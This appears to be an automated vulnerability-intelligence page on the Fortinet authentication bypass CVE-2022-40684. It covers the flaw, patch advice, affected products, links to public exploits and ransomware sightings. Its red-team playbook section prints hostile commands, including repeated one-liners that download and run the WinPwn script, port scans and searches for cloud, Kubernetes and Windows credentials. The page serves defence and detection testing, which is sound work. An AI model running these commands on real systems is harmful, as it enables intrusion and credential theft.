CVE-2022-40684
Overview
This vulnerability is an authentication bypass affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager administrative interfaces. The root cause lies in improper validation of HTTP/HTTPS requests, allowing an attacker to exploit alternate request paths or channels to circumvent authentication controls. The flaw specifically impacts the handling of API endpoints related to administrative configuration.
Vulnerability Description
An authentication bypass using an alternate path or channel [CWE-288] in Fortinet FortiOS version 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy version 7.2.0 and version 7.0.0 through 7.0.6 and FortiSwitchManager version 7.2.0 and 7.0.0 allows an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
Impact
An unauthenticated attacker can exploit this vulnerability to gain unauthorized administrative access to affected devices. This access enables viewing and modifying sensitive configuration data, including administrative user settings, potentially leading to full system compromise. No prior authentication or user interaction is required, making exploitation straightforward and enabling attackers to control network security infrastructure, resulting in significant operational and data security risks.
Solution
Fortinet has released security updates addressing this authentication bypass in FortiOS, FortiProxy, and FortiSwitchManager. Users should upgrade to FortiOS versions later than 7.2.1 or 7.0.6, FortiProxy versions beyond 7.2.0 and 7.0.6, and FortiSwitchManager versions above 7.2.0 and 7.0.0 as specified in Fortinet's advisory FG-IR-22-377 (https://fortiguard.com/psirt/FG-IR-22-377). Administrators are advised to apply these patches promptly and review device configurations to ensure no unauthorized changes occurred prior to patching.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | 7.2.0 |
cpe:2.3:a:fortinet:fortiproxy:7.2.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | 7.0.0 |
cpe:2.3:a:fortinet:fortiswitchmanager:7.0.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | 7.2.0 |
cpe:2.3:a:fortinet:fortiswitchmanager:7.2.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.
exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684
|
Heyder Andrade <@HeyderAndrade>, Zach Hanley <@hacks_zach> | Unknown | unix, linux | View |
ExploitDB (2)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| FortiOS_ FortiProxy_ FortiSwitchManager v7.2.1 - Authentication Bypass | Felipe Alcantara | webapps | multiple | - | View |
| Fortinet FortiOS_ FortiProxy_ and FortiSwitchManager 7.2.0 - Authentication bypass | ub3rsick | remote | windows | - | View |
GitHub PoCs (32)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/CVE-2022-40684
A proof of concept exploit for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager
|
horizon3ai | 358 | 90 | 2022-10-13 | View |
|
carlosevieira/CVE-2022-40684
PoC for CVE-2022-40684 - Authentication bypass lead to Full device takeover (Read-only)
|
carlosevieira | 87 | 31 | 2022-10-13 | View |
|
arsolutioner/fortigate-belsen-leak
Research repository tracking affected IPs from the Fortigate CVE-2022-40684 configuration leak by Belsen Group
|
arsolutioner | 87 | 21 | 2025-01-16 | View |
|
Filiplain/Fortinet-PoC-Auth-Bypass
Bash PoC for Fortinet Auth Bypass - CVE-2022-40684
|
Filiplain | 16 | 4 | 2022-10-13 | View |
|
kljunowsky/CVE-2022-40684-POC
Exploit for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager
|
kljunowsky | 16 | 2 | 2022-10-13 | View |
|
TaroballzChen/CVE-2022-40684-metasploit-scanner
An authentication bypass using an alternate path or channel in Fortinet product
|
TaroballzChen | 14 | 3 | 2022-10-27 | View |
|
hughink/CVE-2022-40684
|
hughink | 11 | 3 | 2022-10-28 | View |
|
HAWA771/CVE-2022-40684
Fortinet Critical Authentication Bypass Vulnerability (CVE-2022-40684) [ Mass Exploit ]
|
HAWA771 | 2 | 8 | 2022-10-15 | View |
|
qingsiweisan/CVE-2022-40684
|
qingsiweisan | 9 | 0 | 2022-10-26 | View |
|
Chocapikk/CVE-2022-40684
Fortinet Critical Authentication Bypass Vulnerability (CVE-2022-40684) [ Mass Exploit ]
|
Chocapikk | 7 | 1 | 2022-10-15 | View |
|
secunnix/CVE-2022-40684
|
secunnix | 5 | 3 | 2022-10-14 | View |
|
z-bool/CVE-2022-40684
一键枚举所有用户名以及写入SSH公钥
|
z-bool | 5 | 1 | 2023-02-27 | View |
|
und3sc0n0c1d0/CVE-2022-40684
Utilities for exploiting vulnerability CVE-2022-40684 (FortiOS / FortiProxy / FortiSwitchManager - Authentication bypass...
|
und3sc0n0c1d0 | 4 | 1 | 2022-10-19 | View |
|
xtwip/fortipwn
Forti CVE-2022-40684 enumeration script built in Rust
|
xtwip | 4 | 0 | 2022-10-16 | View |
|
jsongmax/Fortinet-CVE-2022-40684
|
jsongmax | 2 | 0 | 2022-10-17 | View |
|
gustavorobertux/gotigate
Exploit Fortigate - CVE-2022-40684
|
gustavorobertux | 2 | 0 | 2022-10-27 | View |
|
iveresk/CVE-2022-40684
|
iveresk | 1 | 1 | 2022-10-14 | View |
|
XalfiE/Fortigate-Belsen-Leak-Dump-CVE-2022-40684-
|
XalfiE | 1 | 0 | 2025-01-23 | View |
|
ClickCyber/cve-2022-40684
exploit for CVE-2022-40684 Fortinet
|
ClickCyber | 0 | 1 | 2022-10-15 | View |
|
dkstar11q/CVE-2022-40684
Exploit for CVE-2022-40684 vulnerability
|
dkstar11q | 0 | 1 | 2023-01-28 | View |
|
pintukumar-sutradhar/fortigate-cve-2022-40684-tool
FortiGate CVE-2022-40684 assessment tool for user enumeration, configuration dump, and lab testing.
|
pintukumar-sutradhar | 0 | 1 | 2026-04-01 | View |
|
NeriaBasha/CVE-2022-40684
|
NeriaBasha | 1 | 0 | 2022-10-16 | View |
|
gotr00t0day/CVE-2022-40684
A critical authentication bypass vulnerability in Fortinet products (FortiOS, FortiProxy, and FortiSwitchManager)
|
gotr00t0day | 0 | 0 | 2026-10-04 | View |
|
Vampsecure-Labs/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
|
Vampsecure-Labs | 0 | 0 | 2026-07-31 | View |
|
belky-me/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
|
belky-me | 0 | 0 | 2026-07-31 | View |
|
puckiestyle/CVE-2022-40684
|
puckiestyle | 0 | 0 | 2022-10-17 | View |
|
notareaperbutDR34P3r/CVE-2022-40684-Rust
|
notareaperbutDR34P3r | 0 | 0 | 2023-01-17 | View |
|
Anthony1500/CVE-2022-40684
|
Anthony1500 | 0 | 0 | 2023-09-14 | View |
|
niklasmato/fortileak-01-2025-Be
This repository contains informaion about the Fortigate firewall vulnerability (CVE-2022-40684) and affected data that w...
|
niklasmato | 0 | 0 | 2025-01-24 | View |
|
Yami0x777/Belsen_Group-et-exploitation-de-la-CVE-2022-40684
|
Yami0x777 | 0 | 0 | 2025-02-10 | View |
|
ccordeiro/CVE-2022-40684
PoC for CVE-2022-40684 - Authentication bypass lead to Full device takeover (Read-only)
|
ccordeiro | 0 | 0 | 2025-11-19 | View |
|
mhd108/CVE-2022-40684
|
mhd108 | 0 | 0 | 2022-10-14 | View |
Ransomware Groups 1
Threat Feed
36 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
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Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Active exploitation confirmed with 263 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-40684 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-22-377 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/169431/Fortinet-FortiOS-FortiProxy-FortiSwitchManager-Authentication-Bypass.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/171515/Fortinet-7.2.1-Authentication-Bypass.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-40684 |